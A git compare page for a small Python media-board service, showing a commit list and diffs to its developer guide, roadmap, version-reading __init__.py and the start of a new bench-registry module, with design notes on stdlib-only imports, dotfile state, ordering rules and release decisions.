Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
34ac1683ee | ||
|
|
1a59242709 | ||
|
|
225ba32209 | ||
|
|
92c774e105 | ||
|
|
d54bb04414 | ||
|
|
64b403f7eb | ||
|
|
8633b1dded | ||
|
|
cf08ae3f33 | ||
|
|
f8d136a521 | ||
|
|
23f1bdb41f | ||
|
|
8c7fe77841 | ||
|
|
5d785fe3c4 | ||
|
|
47b39bca53 | ||
|
|
d5ead3f613 | ||
|
|
8a78a9bd1d | ||
|
|
7d4a26f486 | ||
|
|
fde082e733 | ||
|
|
7c879e6038 | ||
|
|
7151a45ec2 | ||
|
|
0781aa5ee5 | ||
|
|
1d31ab05de | ||
|
|
6880ab3059 | ||
|
|
c19d8c9718 | ||
|
|
c1f5543b77 | ||
|
|
64f64889a2 | ||
|
|
c2b1454358 | ||
|
|
4cfbce5109 | ||
|
|
cce6a20abe | ||
|
|
b92b00215f | ||
|
|
1558a7fa07 | ||
|
|
436d234ca0 | ||
|
|
ca0641f55b | ||
|
|
20f1cb8594 | ||
|
|
75623c7dbc | ||
|
|
37d859c0fd | ||
|
|
5ded5ffe55 | ||
|
|
091f4b5f2d | ||
|
|
cecd877f60 | ||
|
|
a9e71108a7 | ||
|
|
c1108a1966 | ||
|
|
65e7dc2a4e | ||
|
|
995e7b9686 | ||
|
|
704e8cd809 | ||
|
|
70bfff15cf | ||
|
|
d40e8fd4a6 | ||
|
|
ff35023377 | ||
|
|
9aa91d5dc7 | ||
|
|
18d599dd2a | ||
|
|
d5e23c7d5f | ||
|
|
39a3cb2262 | ||
|
|
167f2657c5 | ||
|
|
447a9b67e9 | ||
|
|
f43a41fb49 | ||
|
|
225570623d | ||
|
|
1ddd1c5654 | ||
|
|
77833dc6d4 | ||
|
|
fa5d46443d | ||
|
|
881c7f5df3 | ||
|
|
2511aab3d6 | ||
|
|
8acd10a8d2 | ||
|
|
f8cb1b29af | ||
|
|
50f88a3e5e | ||
|
|
ce27b06f32 | ||
|
|
b9750d221a | ||
|
|
277554a3f7 | ||
|
|
7a4d3fcbf8 | ||
|
|
ea44c18d42 | ||
|
|
051599a30e | ||
|
|
bf55364920 | ||
|
|
e8e49ceb14 | ||
|
|
744fa5263e | ||
|
|
b46ac02be2 | ||
|
|
f87976b54d | ||
|
|
af57933255 | ||
|
|
6ba5a83f81 | ||
|
|
dfd806aa9f | ||
|
|
06d83dfd2f | ||
|
|
1826d19a1f | ||
|
|
397ea89795 | ||
|
|
6042d10bf3 | ||
|
|
33e7149e24 | ||
|
|
c47b3dba7e | ||
|
|
2f6a0ee821 | ||
|
|
82ac7c44e4 | ||
|
|
8a18dd13ab | ||
|
|
3126deca00 | ||
|
|
bf351a26d1 | ||
|
|
2f85692e95 | ||
|
|
6938d21085 | ||
|
|
8bf5343049 | ||
|
|
a306e2dc6d | ||
|
|
b50f41bb36 | ||
|
|
e15ee2c4ab | ||
|
|
400e254da6 | ||
|
|
1b394dde18 | ||
|
|
e702be4e1a | ||
|
|
c5ac49356f | ||
|
|
3296a868fa | ||
|
|
8cb21193dc | ||
|
|
e3853e2692 | ||
|
|
32e3ed65e1 | ||
|
|
8a7af3eb08 | ||
|
|
0a2bb1d26c | ||
|
|
8c7f2127eb | ||
|
|
1c3ce5ddb5 | ||
|
|
91fd8bc69d | ||
|
|
7996fbd597 | ||
|
|
5c20e2f4d5 | ||
|
|
87e2c5364c | ||
|
|
42ea67f33f | ||
|
|
8f81d8f9d0 |
@@ -6,3 +6,6 @@ __pycache__/
|
||||
booth-data/
|
||||
uv.lock
|
||||
graphify-out/
|
||||
|
||||
# scripts/mutation_check.py crash marker — never committed
|
||||
.mutation-inflight
|
||||
|
||||
@@ -39,7 +39,7 @@ lags the code defeats its own purpose.
|
||||
|
||||
These are the ones a casual change breaks silently. Each has a test.
|
||||
|
||||
### 1. `links.py`, `asks.py` and `marks.py` are stdlib-only, on purpose
|
||||
### 1. The modules `scripts/booth` imports are stdlib-only, on purpose
|
||||
|
||||
`scripts/booth` — the CLI every fleet session uses — imports them directly:
|
||||
|
||||
@@ -48,27 +48,68 @@ BOOTH_SRC=… python3 -c 'import sys; sys.path.insert(0, …); from booth.marks
|
||||
```
|
||||
|
||||
It runs under the system `python3` with **no venv**. A single third-party
|
||||
import in any of the three breaks `booth ask` / `booth marks` / `booth answer` /
|
||||
`booth unlink` on every host, and the failure surfaces in an agent's session,
|
||||
not in ours.
|
||||
import in any of them breaks `booth ask` / `booth marks` / `booth answer` /
|
||||
`booth unlink` / `booth blur` on every host, and the failure surfaces in an
|
||||
agent's session, not in ours.
|
||||
|
||||
`items.py` and `app.py` are free to import what they like. Those three are not.
|
||||
`test_stdlib_only` walks each module's AST imports and asserts it — the CLI
|
||||
imports through a `python3 -c` heredoc that no AST extractor can see, so that
|
||||
test is the only thing standing here.
|
||||
The set is `marks`, `asks`, `links`, `manifest`, `benches`, `blur` and
|
||||
`__init__` (which runs before every one of them). **The list of record is
|
||||
`test_stdlib_only`'s parametrize in `tests/test_marks.py`**, not this
|
||||
paragraph. `items.py` and `app.py` are free to import what they like; those are
|
||||
not. `test_stdlib_only` walks each module's AST imports and asserts it — the
|
||||
CLI imports through a `python3 -c` heredoc that no AST extractor can see, so
|
||||
that test is the only thing standing here. A new module the CLI imports goes on
|
||||
that list in the same commit.
|
||||
|
||||
### 2. The filesystem is the state
|
||||
|
||||
No database. `ls ~/booth-data` tells you everything the service knows.
|
||||
|
||||
Per-booth operator state is a **dotfile inside the booth**: `.forever` (keep),
|
||||
`.viewed` (last deliberate look — U4's "viewing is activity"), `.blurred` (one
|
||||
rel per line), `.marks.json` + `.marks.lock` (judgment), `.pins` (link-board pin
|
||||
`.viewed` (last deliberate look — U4's "viewing is activity"), `.blurred.json`
|
||||
(the per-item blur set, a JSON ARRAY — see below; the legacy `.blurred` is
|
||||
read-only), `.seen` (R2: rels looked at full size, a JSON ARRAY), `.blurbooth` (the whole booth fogged — a MARKER like `.forever`, not
|
||||
JSON, because a boolean has no rels to round-trip), `.marks.json` + `.marks.lock` (judgment), `.pins` (link-board pin
|
||||
ids), `.uploaded` (upload-booth marker). `booth_items()` skips `name.startswith(".")`, so a new
|
||||
dotfile costs nothing in item counts, galleries or zips. That skip is why the
|
||||
dotfile is the right shape for new operator state — use it rather than
|
||||
inventing a sidecar-per-item.
|
||||
|
||||
⚠ **A dotfile that holds rels is a JSON array, opened `O_NOFOLLOW |
|
||||
O_NONBLOCK` with an `S_ISREG` check and a size cap.** A rel may carry a leading
|
||||
space or a newline, and line-stripped storage does not round-trip it: `.blurred`
|
||||
was one stripped rel per line, and blurring `" a.png"` blurred `a.png` instead.
|
||||
`.seen` was written as JSON for exactly that reason (design-dev, R2), and the
|
||||
blur set now matches it in `.blurred.json` (`booth/blur.py`). The open flags
|
||||
mean a planted symlink is refused and a FIFO cannot hang the read, which is the
|
||||
outage in `persistent-memory.d/2026-09-22-size-cap-opened-a-hang.md`. **Any new
|
||||
dotfile inherits that shape.**
|
||||
|
||||
⚠ **A format change gets a NEW NAME, never a sniffed file.** The first cut of
|
||||
the blur fix wrote JSON into `.blurred` and guessed the format from the bytes;
|
||||
a legacy file whose one line is an item literally named `["a.png"]` parses as
|
||||
JSON and blurs the neighbour, the bug being fixed (heid bug-hunt, 3 of 3). So
|
||||
`.blurred.json` is JSON only, the legacy `.blurred` is lines only and read only
|
||||
while `.blurred.json` is absent, and the first write retires it. Do not remove
|
||||
that legacy read while a line-format file can still exist.
|
||||
|
||||
**Reads lenient, writes strict; and a writer is judged by its reader.** The
|
||||
renderer's `read_blurred` turns anything it cannot read into an empty set,
|
||||
because a damaged file must cost the blur and never the page. The writer
|
||||
builds on `_load`, the same parse, which REFUSES instead: a regular file it
|
||||
cannot read (a permission, over the cap, not JSON) is never overwritten with a
|
||||
set that forgot what it held. That is the `.marks.json` wipe again, and the
|
||||
blur writer shipped without the guard for a night. After writing,
|
||||
`set_blurred` re-reads and raises `BlurUnwritable` unless the reader returns
|
||||
exactly the set asked for. The route answers either refusal with 409, never
|
||||
500.
|
||||
|
||||
**A dotfile with two writers has ONE implementation of the writer, and one
|
||||
predicate for its keys.** The blur set is written by the service and by `booth
|
||||
blur`; both call `booth.blur.set_blurred`, and both ask `check_rel` what an
|
||||
item path is. The CLI used to keep a grep/printf writer and a `*..*` guard of
|
||||
its own, which refused `a..b.png` where the route accepted it.
|
||||
|
||||
### 3. One resolver for item facts
|
||||
|
||||
`booth.items.booth_items(booth)` is the only place a file is classified, a
|
||||
@@ -85,6 +126,12 @@ doing so, never resolved the caption — the operator's "zoomed images lose
|
||||
their annotations" bug. It was not a rendering bug; it was three readers of one
|
||||
truth.
|
||||
|
||||
**U3 extended this to the verbatim path.** A booth's own `index.html` now gets
|
||||
its chrome from `/_booth/embed.js`, which *places* server-rendered fragments and
|
||||
never builds one. The fragments come from the same `_ask_inline.html` macros the
|
||||
gallery page uses, handed over `/b/<name>/embed.json`. A second renderer in
|
||||
JavaScript would be the same bug in a new language.
|
||||
|
||||
### 4. Re-export, don't move-and-break
|
||||
|
||||
Names that moved from `app.py` to `items.py` (`classify`, `doc_kind`,
|
||||
@@ -122,9 +169,14 @@ the operator's judgment being quietly misfiled.
|
||||
|
||||
Current rules: items `sorted(rel)`; the zoom ring is that order filtered to
|
||||
images; captions resolve over a sorted scan; marks `(created, id)`; legacy
|
||||
import `(mtime, name)`; link rows pinned-then-newest. `ROADMAP.md` carries the
|
||||
table and the two places still undecided (U7 sections and compare pairing, U6
|
||||
bench listing).
|
||||
import `(mtime, name)`; link rows pinned-then-newest; a verbatim report's embed
|
||||
anchors in document order, its tail in payload order, its questions in
|
||||
declaration order. `ROADMAP.md` carries the table and the two places still
|
||||
undecided (U7 sections and compare pairing, U6 bench listing).
|
||||
|
||||
U3's rows are the first that bind **across a language boundary** — decided in
|
||||
Python, honoured in JavaScript. A string assertion cannot see that, which is
|
||||
why `tests/test_embed_browser.py` exists.
|
||||
|
||||
When you add an ordered surface, state its rule in the docstring. If you cannot
|
||||
state it in one line, it does not have one.
|
||||
@@ -179,8 +231,15 @@ one caused an outage.
|
||||
is that template work needs a restart to see, and that price is the point.
|
||||
`test_templates_do_not_hot_reload_from_disk` holds the line.
|
||||
|
||||
**So: after ANY edit here — Python or template — the live service is stale until
|
||||
you restart it.** If you are touching this repo while the operator may be using
|
||||
3. **`booth/static/embed.js` is the third thing that would have hot-reloaded,
|
||||
and it does not.** U3 gave the service a static asset living in the
|
||||
deployment root; it is read ONCE in `create_app` and served from memory with
|
||||
an ETag over its content, for exactly the reason above. Same rule, same test
|
||||
shape (`test_embed_js_does_not_hot_reload_from_disk`). Anything else this
|
||||
repo learns to serve from disk inherits the rule — read it at startup.
|
||||
|
||||
**So: after ANY edit here — Python, template or static asset — the live service
|
||||
is stale until you restart it.** If you are touching this repo while the operator may be using
|
||||
the service, either restart promptly or expect him to be looking at the old
|
||||
version. Never leave the tree in a state where a restart would 500.
|
||||
|
||||
@@ -197,6 +256,41 @@ curl -s localhost:8090/healthz # the live service (systemd --user)
|
||||
systemctl --user restart booth.service # after a code change, to see it live
|
||||
```
|
||||
|
||||
⚠ **A GET of a booth page, its marks page or a review page RECORDS A LOOK**
|
||||
(`.viewed`, and `.seen` for a review page). A post-deploy check that fetches
|
||||
every booth on `:8090` tells the service the operator looked at all of them at
|
||||
once: it empties "new since you looked", marks items seen on the tape, and
|
||||
pushes every expiry out a day. Two sessions did exactly that on 2026-09-23.
|
||||
Check the live service with requests that record nothing (`/healthz`, the Desk
|
||||
at `/`, `?thumb=1` file fetches), and check pages against a COPY of the data
|
||||
(`rsync` it into the scratchpad, `TestClient(create_app(copy))`).
|
||||
|
||||
```sh
|
||||
.venv/bin/python scripts/mutation_check.py # prove the falsifiers still falsify
|
||||
```
|
||||
|
||||
**A green test is not evidence.** A test that has never seen its own defeating
|
||||
change may pass under it too — forbidding nothing while reading as though it
|
||||
forbids something. This repo shipped that three times before the tool existed
|
||||
(twice in one session, once an hour after writing the entry about it). Tables
|
||||
live in `tests/mutations/*.toml`, one per unit, committed so a unit's proofs are
|
||||
an artifact rather than scrollback; adding a unit means adding a file, never
|
||||
editing the script. `tests/test_mutation_check.py` holds the tool's own positive
|
||||
and negative controls, because an instrument that only ever sees unknowns cannot
|
||||
tell "nothing wrong" from "I am blind".
|
||||
|
||||
When you add a `*Falsifiable:*` line to a contract, add its row to the table and
|
||||
run it. A falsifier nobody has run is a claim, not a test.
|
||||
|
||||
`tests/test_embed_browser.py` drives a real Chromium against a real uvicorn on
|
||||
an ephemeral port — the only place U3's placement and `form=` binding can be
|
||||
observed at all. Browsers are NOT downloaded per project; they live box-wide in
|
||||
`/opt/ms-playwright`. The file **skips rather than fails** when playwright or a
|
||||
usable browser is missing, so the suite stays green anywhere. If those tests
|
||||
start skipping on this box, the pinned `playwright>=1.60,<1.63` in
|
||||
`pyproject.toml` has drifted past the shared store — read the comment there
|
||||
before raising the bound.
|
||||
|
||||
`booth.service` is a user unit installed to `~/.config/systemd/user/`. The repo
|
||||
copy is the source; edits there need a `daemon-reload`.
|
||||
|
||||
|
||||
+122
-18
@@ -1,7 +1,23 @@
|
||||
# The Booth — roadmap
|
||||
|
||||
Design: [`docs/design/information-architecture.md`](docs/design/information-architecture.md).
|
||||
Current version: `0.4.0` (U1, U2, U4 and U5 landed; extracted from eshpfi 2026-09-21).
|
||||
Current version: `1.0.0b1` (**U1 through U7 landed**; extracted from eshpfi
|
||||
2026-09-21).
|
||||
|
||||
⚠ **THE BETA'S PREMISE IS SUPERSEDED AND THE TAG CANNOT BE UNSAID.**
|
||||
`v1.0.0b1` was cut 2026-09-22 promising "feature-complete, no new features, the
|
||||
remaining work is bugs." On 2026-09-23 the operator ruled a flow redesign and
|
||||
compare mode into the arc, which are emphatically new features. **The tag stays
|
||||
as written** — it is an immutable record of what was believed at the time, not a
|
||||
claim about now — and no further pre-release is cut until the arc lands.
|
||||
Dropping back to an alpha is not available: `1.0.0a2` sorts BELOW `1.0.0b1`, and
|
||||
versions do not go backwards.
|
||||
|
||||
🛑 **RULED 2026-09-23: NO `1.0.0` YET.** Verbatim: *"no v1.0 yet."* The tag
|
||||
stays at `1.0.0b1`, no further pre-release is cut until the arc lands, and the
|
||||
arc now includes the flow redesign, compare mode and the Desk revisions still in
|
||||
flight. Do not cut a release because the suite is green and the roadmap looks
|
||||
complete — it has looked complete twice already.
|
||||
|
||||
## v1 target
|
||||
|
||||
@@ -12,18 +28,33 @@ defect — not a wish. The measurements are in the IA doc.
|
||||
|---|---|---|---|
|
||||
| 1 | ~~**One item record**~~ — **landed `ce598b3`** | captions never reach the zoom view (never sent, not lost) | U1 |
|
||||
| 2 | ~~**Marks**~~ — **landed `c7f9437`, released `v0.2.0`** | 5 mechanisms for 1 job; operator→session loop runs through chat | U2 |
|
||||
| 3 | **Declared embed seam** — `/_booth/embed.js`, chrome mounts via DOM | 6 regexes injected into arbitrary author HTML, load-bearing for asks | U3 |
|
||||
| 3 | ~~**Declared embed seam**~~ — **landed `87e2c53`, released `v0.5.0`** | 6 regexes injected into arbitrary author HTML, load-bearing for asks | U3 |
|
||||
| 4 | ~~**Derived lifetime**~~ — **landed `c3a97c1`, released `v0.4.0`** | 70% of booths on the `.forever` escape hatch (54% when first counted) | U4 |
|
||||
| 5 | ~~**Self-announcing booths**~~ — **landed `c015a91`, released `v0.3.0`** | job 5 had no home, so it lived on the link board as 145 dead rows | U5 |
|
||||
| 6 | **Benches** — registry, identity, enforced rule, migration | 69% link-board rot; the same bench posted 5× | U6 |
|
||||
| 7 | **Navigation at 270 items** — sections, rail, filters, grid keyboard | one flat wall; subfolder structure discarded at render | U7 |
|
||||
| 6 | ~~**Benches**~~ — **landed `1c3ce5d`, released `v0.6.0`** | 69% link-board rot (re-measured: 178 booth rows + 8 bench re-posts) | U6 |
|
||||
| 7 | ~~**Navigation**~~ — ~~sections~~ **filename groups**, rail, filters, grid keyboard — **landed, unreleased** | one flat wall; 0 of 11 galleries have subfolders, so grouping comes from the filename | U7 |
|
||||
|
||||
Ordering is dependency-driven, not priority-driven: **U1 → U2 → {U3, U4, U5} →
|
||||
U7**, with **U6 independent** of all of them (different storage, different
|
||||
surface) and therefore the safest thing to land first or in parallel.
|
||||
|
||||
**U1, U2, U4 and U5 are landed.** U3 is unblocked and unstarted; U6 remains
|
||||
independent and unstarted; U7 waits on the rest.
|
||||
**ALL SEVEN UNITS ARE LANDED.** U7 closed last; its only dependency was
|
||||
`{U3, U4, U5}` and that closed with U3.
|
||||
|
||||
⚠ **What U7 actually shipped is not what this row first described, and the
|
||||
difference is measured.** Sections were dropped for filename-prefix groups
|
||||
(operator-ratified 2026-09-22) because zero of eleven gallery booths have a
|
||||
subdirectory. Then the *grouping rule itself* changed at implementation: the
|
||||
contract's `strip a trailing digit run` yields 24 groups for `sindra-bakeoff`'s
|
||||
40 images and 27 for `sindra`'s 30 — a rail with a row per tile — because it
|
||||
keys on the end of the stem, where the instance number lives. The shipped rule
|
||||
keys on the **first separator-delimited segment**, where the family lives, and
|
||||
gives 4 and 2. The full re-measurement across all 17 live booths is in
|
||||
`docs/contracts/u7_navigation.contract.md`.
|
||||
|
||||
**The v1 target is met.** What remains is a release decision the operator owns:
|
||||
cut `1.0`, or take a `0.7.0` staging release first. Nothing in the code is
|
||||
waiting on it.
|
||||
|
||||
**U5's adoption is a measured prediction, not a finished result**, and it is
|
||||
TWO predictions rather than one. The operator declined a fleetwide announcement
|
||||
@@ -67,12 +98,33 @@ Where it already binds, and what the rule is in each case:
|
||||
| collection | rule |
|
||||
|---|---|
|
||||
| items in a booth | `sorted(rel)` — byte order over the booth-relative path (U1 INV-3) |
|
||||
| the zoom prev/next ring | the item order, filtered to images — same sequence, one source |
|
||||
| the review prev/next ring | the item order, **filtered to media** — image, video and audio (`review_chain`, R2). Supersedes `image_chain`, which stays importable and unchanged for its other callers |
|
||||
| an item's ordinal (`#NN`) | its position in `sorted(rel)` — **counted across ALL items, so `#07` is the same tile under every filter.** This is what makes the operator's "the third one" mean one thing, which the filters had quietly broken (R2) |
|
||||
| the filmstrip and the tape | the review ring |
|
||||
| the flag tray | **by ordinal** — the tray reads in the same direction as the grid (R2). The notes list keeps `(created, id)` |
|
||||
| the Desk's sections | fixed: needs you → new since you looked → everything else (R2) |
|
||||
| within *needs you* | `(open_since, name)` |
|
||||
| within *new since you looked* | `(-landed_at, name)` |
|
||||
| within *everything else* | `(-landed_at, name)`: last updated first, the date each row shows. Was `list_booths`' activity order, which counted a look (operator, 2026-09-23) |
|
||||
| the Desk's bookmarks column | `order_for_display` — pinned first, then newest |
|
||||
| caption sidecar resolution | sorted scan, so two media files sharing a stem resolve the same way every time (a real non-determinism U1 removed) |
|
||||
| marks in a booth | `(created, id)` — time, with the id as tie-break so two marks written in the same second cannot swap |
|
||||
| legacy ask import | `(mtime, name)`, which is the order `list_asks` gave them |
|
||||
| link board rows | pinned first, then newest-first |
|
||||
| a booth's announcement | not a collection — one flat record per booth, nothing to order (U5) |
|
||||
| **groups among themselves** | **the position of each group's first member in the rendered sequence** — `sorted(rel)` narrowed by the filter, never re-sorted. Walking the rendered list once into an insertion-ordered dict IS the rule, so there is no second sort to drift from it (U7) |
|
||||
| **items within a group** | not a separate order — a group is a label on a tile, not a container. The grid stays `sorted(rel)` and groups interleave in it freely (U7) |
|
||||
| the bench registry | `(state rank, name casefolded, id)` — live before promoted before retired, then alphabetical, with the id as a TOTAL tie-break so two benches sharing a name cannot swap (U6) |
|
||||
| the link board's dead marker | not an order — a per-row stamp read from the existing `order_for_display` sequence, so marking cannot move a row (U6) |
|
||||
| embed anchors in a verbatim report | **document order** — what `querySelectorAll` yields, so the author's markup decides (U3) |
|
||||
| the embed tail (fragments the author did not place) | **payload order**, which is the marks order `(created, id)` — one rule, whether a fragment lands at an anchor or at the end (U3) |
|
||||
| questions within a pick | declaration order, in the payload's `questions` LIST — carried by the format rather than by object-key insertion order (U3) |
|
||||
| the compare filmstrip | **the compare ring**: the review ring (item order, media only) less any rel compare cannot open, so no strip link offers a pair that 404s (r3) |
|
||||
| compare stepping | along the compare ring, modulo its length; linked moves both sides one place and keeps their distance, unlinked moves the active side only (r3) |
|
||||
|
||||
U3's three rows are the first case where the rule binds across a language
|
||||
boundary: the order is decided in Python and honoured in JavaScript, and a
|
||||
browser test asserts it rather than a string assertion that could not see it.
|
||||
|
||||
U4 added no ordered collection — a booth's lifetime is one state per booth,
|
||||
not a sequence — so the rule above did not need a new row. The three lifetime
|
||||
@@ -80,10 +132,19 @@ surfaces (index card, booth header, marks page) render through ONE macro
|
||||
precisely so they cannot disagree, which is the same property stated for
|
||||
ordering: one rule, one place, every surface reading it.
|
||||
|
||||
Where it is still to be decided, and must be before the unit ships: **U7's
|
||||
section ordering and its compare pairing** (sections need a stated order among
|
||||
themselves, not just within; pairing by filename needs a rule for what happens
|
||||
to an unpaired file), and **U6's bench listing**.
|
||||
**U7's group ordering is SETTLED and SHIPPED** (operator, 2026-09-22): groups
|
||||
order by the position of their first member in the rendered sequence, so the
|
||||
rail reads in the same direction as the grid. Subfolder sections were dropped
|
||||
in favour of filename-prefix groups on measured grounds — zero of eleven
|
||||
gallery booths have a subdirectory.
|
||||
|
||||
**Nothing in this table is undecided any more.** The two U7 rules that were
|
||||
(section ordering among themselves, compare pairing) resolved differently:
|
||||
section ordering is MOOT, because U7 renders no section rail — `Item.section`
|
||||
still exists and is still derived, it simply has no ordered surface. Compare
|
||||
pairing was ruled 2026-09-24: pairs are PICKED, never detected from filenames,
|
||||
and compare landed with r3 (rows above). **U6's bench listing is
|
||||
settled** — the row above.
|
||||
|
||||
The test for any new ordered surface: *can you write the rule down in one line?*
|
||||
If not, it does not have one yet.
|
||||
@@ -104,20 +165,63 @@ weighed against the v1 path and lost on purpose.
|
||||
|
||||
| item | why parked |
|
||||
|---|---|
|
||||
| **Compare mode** — pair-by-name A/B across subfolders | The best idea in the set, and the only one that is a *new capability* rather than a fix for a measured defect. The four-booth `pancake-v3/v4` dance still works. First thing in v1.1. |
|
||||
| ~~**Compare mode**~~ — **UNPARKED 2026-09-23, LANDED 2026-09-24 (r3)** | Parked as "the only new capability rather than a fix for a measured defect", and **that deferral was ours and the operator overruled it.** design-dev argued it belongs in this arc because the ladders and bakeoffs already need it; the operator ruled `this_arc`. Lands AFTER the Desk and the reel, as a view toggle over the same item record. Recorded so nobody re-parks it by reading an older rule. |
|
||||
| Virtualized / progressive grid loading | Speculative. 270 `<img loading="lazy">` may be fine. **Measure the real booth before optimising it** — if it renders inside a second, this is invented work. |
|
||||
| Bench uptime history + graphs | The v1 need is "is it dead", which one flag answers. A time series is a different product. |
|
||||
| Cross-booth search | No evidence of the need in the usage data. |
|
||||
| Per-viewer state (who has seen what) | The Booth has one viewer. Revisit if that stops being true. |
|
||||
| Auth | Standing non-goal. LAN/mesh-internal. Blur stays cosmetic and says so. |
|
||||
|
||||
## Post-v1, already committed
|
||||
## The design arc — IN SCOPE, not post-v1
|
||||
|
||||
- **SVOS theme retrofit by `design-dev`.** Runs as a parallel track, not a v1
|
||||
gate: we own the information architecture (it is driven by the measurement
|
||||
above), design-dev owns the visual and interaction system. The handoff is a
|
||||
`/vor-ui` brief written against the landed v1 structure — the same shape
|
||||
`hamr-dev` and `pewpew-dev` used.
|
||||
⚠ **This section used to be "Post-v1, already committed" and it is not post-v1
|
||||
any more.** The operator's 2026-09-23 rulings put a flow redesign and compare
|
||||
mode inside the arc, so the work below is part of what ships, not after it.
|
||||
|
||||
- **SVOS theme retrofit by `design-dev` — HANDED OFF AND ACCEPTED 2026-09-22**
|
||||
(althing thread `01M369321KNBPZ7FYDQGZG7AXP`). Runs as a parallel track, not a
|
||||
v1 gate: we own the information architecture (it is driven by the measurement
|
||||
above), design-dev owns the visual and interaction system.
|
||||
|
||||
🛑 **OPERATOR RULING 2026-09-23 — THE OWNERSHIP BOUNDARY MOVED, AND IT MOVED
|
||||
OUR WAY OUT.** The first concept round was ruled **NOT ship-as-shown**:
|
||||
*"He didn't go far enough, still looks like the booth. I want him to consider
|
||||
the flow and the requirements — design touches, layout, usability all belong
|
||||
to him."* **Flow, layout, usability and the REQUIREMENTS are design-dev's.**
|
||||
The information architecture is no longer fenced off from him: what belongs on
|
||||
which page, what groups with what, what the rail counts and whether a rail is
|
||||
the right object at all are his calls to propose and build.
|
||||
|
||||
⚠ **The fence was OURS, and it is what produced a reskin.** The handoff said
|
||||
*"what we are not asking for: layout changes driven by information
|
||||
architecture"*, and design-dev's *"markup changes are class additions only, no
|
||||
reordering"* was that constraint honoured. The ruling corrects the brief, not
|
||||
his round. **That paragraph is void — do not restate it.**
|
||||
|
||||
What survives is two tiers, deliberately separated because collapsing them is
|
||||
how we over-fenced the first time. **Tier 1, correctness not taste:**
|
||||
deterministic order (an operator directive — the RULE may change, but not into
|
||||
"whatever the layout yields"), autoescape, blur keeps admitting it is
|
||||
cosmetic, restart discipline. **Tier 2, engineering defaults WE chose and he
|
||||
may now argue with:** the gallery working with JavaScript off, virtualization
|
||||
parked, compare mode deferred. Tier 2 disputes go to the operator, not settled
|
||||
between agents.
|
||||
|
||||
⚠ **The `/vor-ui` brief this row used to require was DECLINED, and rightly.**
|
||||
The row predates `docs/design/information-architecture.md`; with that doc, the
|
||||
landed templates and the seven handoff constraints in hand, a `/vor-ui` pass
|
||||
would have cost the operator a serial Q&A to re-derive IA we had already
|
||||
measured — the exact operator-load this project exists to reduce. The handoff
|
||||
message is the brief. If the design system ever wants the IA different,
|
||||
design-dev raises it and we re-measure rather than either side guessing.
|
||||
|
||||
Settled with it: **we merge and restart** (the deployment root stays in one
|
||||
pair of hands); design-dev works on `svos-retheme` in his own clone against a
|
||||
COPY of `~/booth-data`, never touching `:8090`; a concept round goes to the
|
||||
OPERATOR before any fixup. Webfonts arrive by Google Fonts `<link>` with
|
||||
`display=swap` and a system fallback stack — the CDN-free property was
|
||||
accreted, not an invariant, and self-hosting is a v1.1 item because
|
||||
`v1.0.0b1` promises no new features.
|
||||
|
||||
## Gate
|
||||
|
||||
|
||||
+41
-2
@@ -1,3 +1,42 @@
|
||||
"""The Booth — ephemeral media drop board. See booth.app for the server."""
|
||||
"""The Booth — ephemeral media drop board. See booth.app for the server.
|
||||
|
||||
__version__ = "0.1.0"
|
||||
⚠ THIS FILE IS EFFECTIVELY STDLIB-ONLY and nothing used to say so. `scripts/booth`
|
||||
imports `booth.links` / `booth.marks` / `booth.manifest` under the SYSTEM python3
|
||||
with no venv, and importing any of them executes this module first — so a single
|
||||
third-party import here breaks `booth ask` on every fleet host exactly as one in
|
||||
those three would. `test_stdlib_only` now covers `__init__` for that reason.
|
||||
"""
|
||||
|
||||
import tomllib
|
||||
from pathlib import Path
|
||||
|
||||
_PYPROJECT = Path(__file__).resolve().parent.parent / "pyproject.toml"
|
||||
|
||||
|
||||
def _declared_version() -> str:
|
||||
"""The version of the code actually running, read from `pyproject.toml`.
|
||||
|
||||
⚠ NOT `importlib.metadata`, and the reason is this repo's own shape: there
|
||||
is no build step and no install step — `booth.service` runs uvicorn with
|
||||
WorkingDirectory set to the repo, so the running code IS this tree.
|
||||
Installed metadata describes a DIFFERENT artifact and was found saying
|
||||
`0.3.0` (a vestigial dist-info, three releases stale, with no package
|
||||
directory behind it) while the tree was at `1.0.0b1`. A confidently wrong
|
||||
number that varies by environment is worse than the hardcoded `0.1.0` this
|
||||
replaced, which at least failed the same way everywhere.
|
||||
|
||||
Falls back to installed metadata for the case this repo does not have but a
|
||||
consumer might: packaged as a wheel, where pyproject does not ship.
|
||||
"""
|
||||
try:
|
||||
return tomllib.loads(_PYPROJECT.read_text())["project"]["version"]
|
||||
except (OSError, KeyError, tomllib.TOMLDecodeError):
|
||||
try:
|
||||
from importlib.metadata import version
|
||||
|
||||
return version("booth")
|
||||
except Exception:
|
||||
return "0.0.0+unknown"
|
||||
|
||||
|
||||
__version__ = _declared_version()
|
||||
|
||||
+1174
-235
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,416 @@
|
||||
"""Benches: a running thing, registered.
|
||||
|
||||
A bench is NOT a booth and NOT a bookmark. It is a durable middle-to-long-term
|
||||
testing surface — jackdaw's current bench, talk's current bench, the things that
|
||||
get promoted to Homepage when they are fully deployed. The standing link board
|
||||
absorbed the job because it was the only surface on offer, and an O_APPEND log
|
||||
with no identity turns "here is the bench again" into a fifth row rather than an
|
||||
update: `talk` is on the board five times and Peedlar's root three.
|
||||
|
||||
STDLIB ONLY, AND SIBLING-FREE, ON PURPOSE. `scripts/booth` imports this through
|
||||
a `python3 -c` heredoc under the system python3 with no venv, exactly as it
|
||||
imports `marks`, `asks`, `links` and `manifest`. A third-party import breaks
|
||||
`booth bench` on every fleet host; a `from booth.links import ...` breaks it on
|
||||
any host where both modules are not importable together, which is a second way
|
||||
for the same invariant to fall. `tests/test_benches.py` forbids both.
|
||||
|
||||
SINGLE-WRITER, MANY-READER — the opposite shape from `links.md`. The board is a
|
||||
multi-writer append log because seventeen agent handles post to it at once. This
|
||||
is the operator in one browser plus occasional CLI calls, so it is one file,
|
||||
rewritten whole under a lock, replaced atomically. Inheriting the append-log
|
||||
design here would be the mistake CLAUDE.md names by name.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import fcntl
|
||||
import json
|
||||
import os
|
||||
import stat
|
||||
import tempfile
|
||||
from dataclasses import dataclass, replace
|
||||
from datetime import datetime, timezone
|
||||
from pathlib import Path
|
||||
from typing import Iterable
|
||||
from urllib.parse import urlsplit, urlunsplit
|
||||
|
||||
# At the DATA ROOT, not inside a booth. A dotfile there is invisible to
|
||||
# `list_booths` and to `sweep_once` — both skip a child that is not a directory
|
